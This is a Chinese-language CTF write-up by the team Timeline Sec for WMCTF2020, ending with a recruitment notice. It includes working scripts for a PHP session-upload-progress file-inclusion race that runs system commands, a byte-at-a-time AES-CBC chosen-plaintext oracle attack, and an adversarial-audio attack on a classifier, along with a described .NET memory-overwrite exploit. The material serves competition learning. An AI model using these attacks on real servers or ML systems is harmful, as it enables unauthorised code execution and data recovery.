WMCTF2020 部分Writeup

  • A+
所属分类:安全文章
写在最前

在这次的xctf分站赛-WMCTF2020中,Timeline Sec队内大部分师傅终于有空来玩,最终取得了第16名的成绩。在这个过程中我们不得不去反思队伍建设几个月以来产生的一些问题,所以决定再次开启全面招人的决定。希望有更多积极且愿意付出精力学习的师傅加入我们的队伍,向着更高的目标冲击。具体招新事项附在文末:

WMCTF2020 部分Writeup



Web

1、web_checkin
直接传了个参数,就非预期了

WMCTF2020 部分Writeup

2、Make PHP Great Again

WMCTF2020 部分Writeup
本题利用session.upload_progress进行文件包含利用。

当我们上传文件时候,会生成临时文件存在在/tmp文件夹下。上传结束后,会删除文件,不过可以在文件清除之前进行文件包含。

当代码没有session_start()时候,还需要session.auto_start=On 配置来生成session。

最后生成文件的路径为/tmp/sess_+tls(我的sesssion id 值)

我们可以上传一句话在/tmp文件夹,生成session文件,结合require_once进行文件包含执行命令。

这里贴上脚本
#coding=utf-8import ioimport requestsimport threadingsessid = 'tls'data = {"cmd":"system('whoami');"}def write(session): while True: f = io.BytesIO(b'a' * 1024*3) resp = session.post( 'http://no_body_knows_php_better_than_me.glzjin.wmctf.wetolink.com/index.php', data={'PHP_SESSION_UPLOAD_PROGRESS': ''}, files={'file': ('tls.txt',f)}, cookies={'PHPSESSID': sessid} )def read(session): while True: resp = session.post('http://no_body_knows_php_better_than_me.glzjin.wmctf.wetolink.com/index.php?file=/tmp/sess_'+sessid,data=data) if 'tls.txt' in resp.text: print(resp.text) event.clear() else: passif __name__=="__main__": event=threading.Event() with requests.session() as session: for i in range(1,30): threading.Thread(target=write,args=(session,)).start() for i in range(1,30): threading.Thread(target=read,args=(session,)).start() event.set()

WMCTF2020 部分Writeup

成功拿到flag

Crypto
1、Game
一个分组模式是 CBC 的 AES,其中初始 IV 已知,会给出 (输入值 + secret)加密后的结果。

关键点有二:
1.选择明文攻击,逐字节爆破
2.构造 IV

每组长度为 16,secret 长度为 48。先构造15 字节长度的已知明文,服务器加密后第一组只有最后一个字节即 secret 的第一位未知,记录此时的密文。然后爆破最后一位,让服务器加密 15 字节已知明文 +  1 字节欲爆破值,直到第一组的加密结果相同,得到一位 secret。然后构造 14字节明文,让服务器加密 14 字节已知明文 + 1 字节爆破出的 secert + 1 字节欲爆破值。以此类推,最多进行 256 * 48 = 12288 次交互可以得到 secret。
但是存在一个问题,CBC 模式中 aes 对象每次加密后的 IV 值都会变成最后一组的密文。我们想要爆破直到密文相同需要控制每次加密的 IV 值相同。因此需要记录每次服务器加密后最后一组的密文 test_IV,以及目标密文加密时的 target_IV,在每次爆破时,需要将构造好的明文的前 16 位 异或 target_IV 再 异或 test_IV,这样可以保证爆破时每次加密时的 IV 相同。

WMCTF2020 部分Writeup


脚本如下:
from pwn import *import stringimport itertoolsfrom hashlib import sha256import re

def PoW(part, hash_value): for x in itertools.product(string.ascii_letters+string.digits, repeat=4): nonce = ''.join(x) if sha256(nonce+part).hexdigest() == hash_value: return nonce

def xor(a, b): assert len(a) == len(b) return ''.join([chr(ord(a[i])^ord(b[i])) for i in range(len(a))])

sh = remote('81.68.174.63', 16442)
s1 = sh.recvuntil('Give me XXXX:')re_res = re.search(r'sha256(XXXX+([0-9a-zA-Z]{16})) == ([0-9a-z]{64})', s1)part = re_res.group(1)hash_value = re_res.group(2)print 'part:%s hash:%s' % (part, hash_value)nonce = PoW(part, hash_value)print 'Find nonce: %s' % nonceprint 'PoW finish.'sh.sendline(nonce)
s2 = sh.recvline().strip()IV = s2[-32:].strip().decode('hex')print 'IV: ', IV.encode('hex')sh.recvline()sh.recvline()sh.recvline()sh.recvline()
print 'Start guess secret...'secret = ''now_IV = IVtarget_IV = IV
for padding_len in range(47, -1, -1): sh.sendline('1') sh.recvuntil('Your message (in hex): ') msg = 'x00' * padding_len sh.sendline(msg.encode('hex')) target_cipher = sh.recvline().strip().decode('hex') now_IV = target_cipher[-16:] for i in range(256): send_msg = msg + secret + chr(i) send_msg = xor(xor(send_msg[:16], target_IV), now_IV) + send_msg[16:] sh.sendline('1') sh.recvuntil('Your message (in hex): ') sh.sendline(send_msg.encode('hex')) test_cipher = sh.recvline().strip().decode('hex') now_IV = test_cipher[-16:] if test_cipher[:48] == target_cipher[:48]: secret += chr(i) print '[%d/%d]' % (len(secret.encode('hex')) // 2, 48), secret.encode('hex') target_IV = test_cipher[-16:] breakprint 'Guess finish'print 'secret:', secret.encode('hex')
sh.sendline('2')sh.recvuntil('Your guess (in hex): ')sh.sendline(secret.encode('hex'))flag = sh.recvline()print flag

大约跑 12 分钟可以得到 flag:

WMCTF2020 部分Writeup

Misc
1、sign-in
日常tg撒签到flag,提交就行

2、Music_game
题目说了语音操作坦克,那就照着地图,第一次speak发一次音,走到终点即可获得flag(早上起来背书之前看到了题目,成功之后匆忙没有截图,直接用手机拍的)

WMCTF2020 部分Writeup

3、XMAN_Happy_birthday!
sctf那题肌肉男原题,压缩包里的压缩包hex倒置了,直接用脚本搞成正的hex
生成新的压缩包打开即可

WMCTF2020 部分Writeup

4、Performance_artist
题目提示将flag以十六进制的手写形式储存在图片里,首先crc校验还原图片,得到:

WMCTF2020 部分Writeup

很经典的机器学习数据集mnist和enist,到官网下载数据集,然后将数据集所有图片以每个像素点组成dict的key,构建字典,将恢复的图片分割并依次在字典中寻找:

from PIL import Image, ImageEnhance, ImageFilterimport ioimport numpy as npimport structimport os
# 图片切割def segment(im): wid = 28 up = 0 down = 128 im_new = [] for i in range(23): for j in range(32): im1 = im.crop((wid * j, wid * i, wid * (j + 1), wid * (i+1))) # im1 = im.crop((wid * i, up, wid * (i + 1), down)) # 分4段 im_new.append(im1) return im_new
def load_mnist_train(path, kind='train'): labels_path = os.path.join(path, '%s-labels.idx1-ubyte' % kind) images_path = os.path.join(path, '%s-images.idx3-ubyte' % kind) with open(labels_path, 'rb') as lbpath: magic, n = struct.unpack('>II', lbpath.read(8)) labels = np.fromfile(lbpath, dtype=np.uint8) with open(images_path, 'rb') as imgpath: magic, num, rows, cols = struct.unpack('>IIII', imgpath.read(16)) images = np.fromfile(imgpath, dtype=np.uint8).reshape(len(labels), 784) return images, labels
def load_mnist_test(path, kind='t10k'): labels_path = os.path.join(path, '%s-labels.idx1-ubyte' % kind) images_path = os.path.join(path, '%s-images.idx3-ubyte' % kind) with open(labels_path, 'rb') as lbpath: magic, n = struct.unpack('>II', lbpath.read(8)) labels = np.fromfile(lbpath, dtype=np.uint8) with open(images_path, 'rb') as imgpath: magic, num, rows, cols = struct.unpack('>IIII', imgpath.read(16)) images = np.fromfile(imgpath, dtype=np.uint8).reshape(len(labels), 784) return images, labels
def load_enist_train(path, kind='train'): labels_path = os.path.join( path, 'emnist-letters-%s-labels-idx1-ubyte' % kind) images_path = os.path.join( path, 'emnist-letters-%s-images-idx3-ubyte' % kind) with open(labels_path, 'rb') as lbpath: magic, n = struct.unpack('>II', lbpath.read(8)) labels = np.fromfile(lbpath, dtype=np.uint8) with open(images_path, 'rb') as imgpath: magic, num, rows, cols = struct.unpack('>IIII', imgpath.read(16)) images = np.fromfile(imgpath, dtype=np.uint8).reshape(len(labels), 784) return images, labels
def np2str(np_image): tmp = '' for i in np_image: tmp += hex(int(i))[2:] return tmp
def img2str(image): tmp = '' np_img = np.array(image).reshape(-1) for i in np_img: tmp += hex(int(i))[2:] return tmp
# print(len(img2str(segment(myimg)[4])))# print(len(np2str(images[0])))img_dic={}images, labels=load_mnist_train('data')for i in range(images.shape[0]): img_dic[np2str(images[i])]=labels[i]

letter_li = ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r','s', 't', 'u', 'v', 'w', 'x', 'y', 'z']
images, labels = load_enist_train('data/gzip', kind='train')# print(labels[:100])# exit()# Image.fromarray(np.transpose(images[100].reshape(28,28))).show()for i in range(images.shape[0]): img_dic[ np2str( np.transpose(images[i].reshape(28, 28)).reshape(-1) ) ] = letter_li[labels[i]-1]
file_name = 'all.png'myimgs = segment(Image.open(file_name))
for tmpimg in myimgs: print( img_dic[img2str(tmpimg)], end='' )# tmpimg=segment()# tmpimg[0].save('test.jpg', 'jpeg') # 保存


得到flag.zip的十六进制,使用winhex储存为zip,提示有密码,尝试伪加密破解,得到flag.txt:

WMCTF2020 部分Writeup

Brainfuck解码,得flag:

WMCTF2020 部分Writeup

5、Music_game_2
对抗样本题,对example.wav添加扰动,使对抗样本的置信度达到90%以上,要求扰动满足第一范式:

WMCTF2020 部分Writeup

使用FGM攻击:
'''当迭代次数为1时,是FGM攻击;不为1时则为修改版迭代攻击'''
import numpy as npimport tensorflow as tffrom tensorflow.keras import utilsfrom tensorflow import kerasimport librosaimport soundfile as sf
class_num = 4 # 总类别数
target_label = 3 # 目标类别

v_max_steps = 10 # 当迭代次数为1时,是FGSM攻击;否则为IFGSM攻击。v_step_alpha = 20
def get_wav_mfcc(wav_path): y, sr = librosa.load(wav_path,sr=None) data=librosa.feature.mfcc(y,sr=sr) data=np.array(data)
'''to unified format''' while len(data[0])>30: data=np.delete(data,-1,axis=1) data=np.delete(data,0,axis=1) while len(data[0])<30:< span=""> data=np.insert(data,-1,values=data.T[-1],axis=1) return data.T
# def get_wav_mfcc(wav_path):# y, sr = librosa.load(wav_path, sr=None)# print(sr)# data = librosa.feature.mfcc(y, sr=sr)# data = np.array(data)
# return data.T
def get_model(): ''' 获取模型 ''' model = keras.models.load_model('model.h5') model.trainable = False # 冻结模型参数 # model.summary() return model
def loss_object(label, predict): return tf.keras.losses.categorical_crossentropy(label, predict)
def train_step(model, sample, label): ''' 计算梯度 ''' with tf.GradientTape() as tape: tape.watch(sample) predict = model(sample) loss = loss_object(label, predict) grad = tape.gradient(loss, sample) normed_grad = grad/tf.reduce_sum(tf.square(grad)) return normed_grad
def target_attack(sample, model, target_label, max_steps, step_alpha): ''' 有目标梯度下降攻击,达到目标或者最大迭代值时停止
注:此时的对抗样本没有进行可行域压缩
返回:对抗样本, 一共进行的迭代次数i ''' target_label = utils.to_categorical(target_label, class_num)
for i in range(max_steps): signed_grad = train_step(model, sample, target_label) normed_grad = step_alpha * signed_grad sample = sample - normed_grad # 有目标攻击时,梯度下降
if np.argmax(target_label) == np.argmax(model(sample)): break return sample, i
def non_target_attack(sample, model, max_steps, step_alpha): ''' 无目标梯度下降攻击,达到目标或者最大迭代值时停止
注:此时的对抗样本没有进行可行域压缩
返回:对抗样本, 一共进行的迭代次数i ''' target_label = np.argmax(model.predict( sample.numpy().reshape(1, 30, 20))) # 先转化为numpy,否则会考虑batch_size而报错 target_label = utils.to_categorical(target_label, class_num)
for i in range(max_steps): signed_grad = train_step(model, sample, target_label) normed_grad = step_alpha * signed_grad sample = sample + normed_grad # 无目标攻击时,梯度上升
if np.argmax(target_label) != np.argmax(model(sample)): break return sample, i
if __name__ == '__main__':
# sr = 16000 sr=22050 sample = get_wav_mfcc('example.wav').reshape(1,30,20)
# sample = sample.reshape(30,20).T # sample=librosa.feature.inverse.mfcc_to_audio(sample) # sf.write('left.wav' , sample,sr) # exit()
sample = tf.Variable(sample, dtype=tf.float32) model = get_model()
# ----有目标攻击 sample_ea, iter_i = target_attack( sample, model, target_label, v_max_steps, v_step_alpha)
result = model.predict(sample_ea) print() print('fgm攻击;真实:0', '攻击后:', np.argmax(result), '迭代次数:', iter_i+1)
sample=librosa.feature.inverse.mfcc_to_audio(sample_ea.numpy().reshape(30, 20).T) sf.write('right.wav' , sample,sr)
# ----无目标攻击 # sample_ea, iter_i = non_target_attack( # sample, model, v_max_steps, v_step_alpha)
# result = model.predict(sample_ea)
# print() # print('无目标攻击;真实:0', '攻击后:', np.argmax(result), '迭代次数:', iter_i+1) # sample=librosa.feature.inverse.mfcc_to_audio(sample_ea.numpy().reshape(30, 20).T) # sf.write('left.wav' , sample,sr)

由于原模型使用了mmfc特征提取,需要将得到的对抗样本还原为wav:

WMCTF2020 部分Writeup

得到下、左、右三个方向的对抗样本wav后,加上example.wav就可以控制坦克走迷宫。

使用requests库将对抗样本按顺序提交给网站,注意一个session对应一个地图:

WMCTF2020 部分Writeup

由于目标总是在右下角,直接无脑向右向下:
import requests

sess=requests.session()

url='https://game2.wmctf.wetolink.com:4432'

sess.get(url)

def tank_go(direct): files = { 'upfile': open("{}.wav".format(direct), 'rb') } res=sess.post(url,files=files)



actions=[ 'up', 'up', 'left', 'left', 'down', 'down', 'down', 'down', 'right', 'right', 'right', 'right', 'up', 'up', 'right', 'right', 'down', 'down', 'down', 'down', 'right', 'right', 'up', 'up', 'right', 'right', 'right', 'down', 'down', 'down', 'down', 'down', 'down', 'down', 'down', 'right', 'right', 'right', 'right', 'right', 'right', 'right', 'right', 'right',]

for action in actions: tank_go(action)

res=sess.get(url)print(res.text)

最后,坦克到达目的地,网页返回了flag:

WMCTF2020 部分Writeup

6、feedback
填问卷得flag

PWN
1、mengyedekending
初步分析
下载完附件,发现是个windows程序,找到关键文件,baby_cat.exe,baby_cat.dll

WMCTF2020 部分Writeup

IDA看看baby_cat.exe,发现没有什么特别的东西(字符串页面没有提示字符

WMCTF2020 部分Writeup

猜测关键部分应该在dll文件中,接着用Exeinfo PE查一下壳,发现是.NET平台集成的32位程序

WMCTF2020 部分Writeup


Dnspyx86打开,定位到关键函数(这里选择用C#查看)

WMCTF2020 部分Writeup

代码不是很长,而且有个后门函数

WMCTF2020 部分Writeup

接着分析从main函数开始分析,可以配合dnspy的动态调试功能(记得设置宿主程序),熟悉内存布局

WMCTF2020 部分Writeup

开头设置了num=1

WMCTF2020 部分Writeup

程序结尾当num!=1时,程序会执行后门函数

WMCTF2020 部分Writeup

那么思路应该是想办法改变num的值

程序漏洞
主函数开头设置了一个ptr字符数组,限制了100个字节大小

WMCTF2020 部分Writeup

然后创建了个ptr 2int型指针,并把地址设置成ptr+50

WMCTF2020 部分Writeup

ptr2[2]设置为ptr的地址

WMCTF2020 部分Writeup

接着注册了后门函数为Msghandler2

WMCTF2020 部分Writeup

这个循环里面存在覆写ptr2[2]数据漏洞,循环次数虽然是53次,但是当我们输入'r'回车时,不会进入if(!flag2)的逻辑,这样ptr2[1]不会自增,而*ptr2一直在自增,前面也说了ptr2=ptr+50,因此只要构造得当,就能覆盖ptr2的数据

WMCTF2020 部分Writeup

接着往下看,flag3这里并无问题,关键在于下面的红框代码 : ptr3=ptr2[2],然后输一个循环值num2ptr4=ptr3+i,然后ptr4自减1。联系前面说的ptr2[2]的值可以构造,我们可以构造ptr2[2]为num变量的地址或者附近利用下面这个循环达到自减1的目的,从而改变num的值

WMCTF2020 部分Writeup

利用脚本

WMCTF2020 部分Writeup

这里要注意一个点,因为给定程序是unicode编码模式,因此一个char字符是两个字节,所以我们伪造地址的时候不能直接输入,而是用decode("utf-16")转成unicode编码形式,从而避免无效地址的构造,同时脚本开头要加上编码申明(python2默认编码是ascii码,unicode编码无法识别)

附几张调试图

WMCTF2020 部分Writeup

ptr和ptr2的内存位置

WMCTF2020 部分Writeup

num变量在内存中位置以及值

WMCTF2020 部分Writeup

初始状态下,ptr2[2]内存中存放的值(ptr)


Reverse
1、easy_re

WMCTF2020 部分Writeup

WMCTF2020 部分Writeup



招新福利:
加入我们你能得到什么?
1、各种培训以及与社会安全行业实践接触的机会,改善生活质量只是能看见的,还能拓展更多发展的可能。
2、优秀的师傅能够获得企业的内推机会,为日后的就业减轻压力。
3、团队内部练习和分享资源平台,提供你想要的学习资源和氛围。
4、不止能够接触到CTF方面单一的内容,更有内部学习资源。

招新须知:
Timeline Sec CTF现阶段招收所有有想法在CTF竞赛模式下有想法,在学习中渴望进步的师傅,不限年龄,不限方向,只要有足够的时间能够投入每一场竞赛,完成团队内的定时考核任务,我们就欢迎您的加入,共同努力打造属于Timeline Sec的胜利征程。有意者请私发简历至[email protected]


WMCTF2020 部分Writeup

WMCTF2020 部分Writeup&招新帖
加入我们共创佳绩!
Timeline Sec 团队
安全路上,与你并肩前行





发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: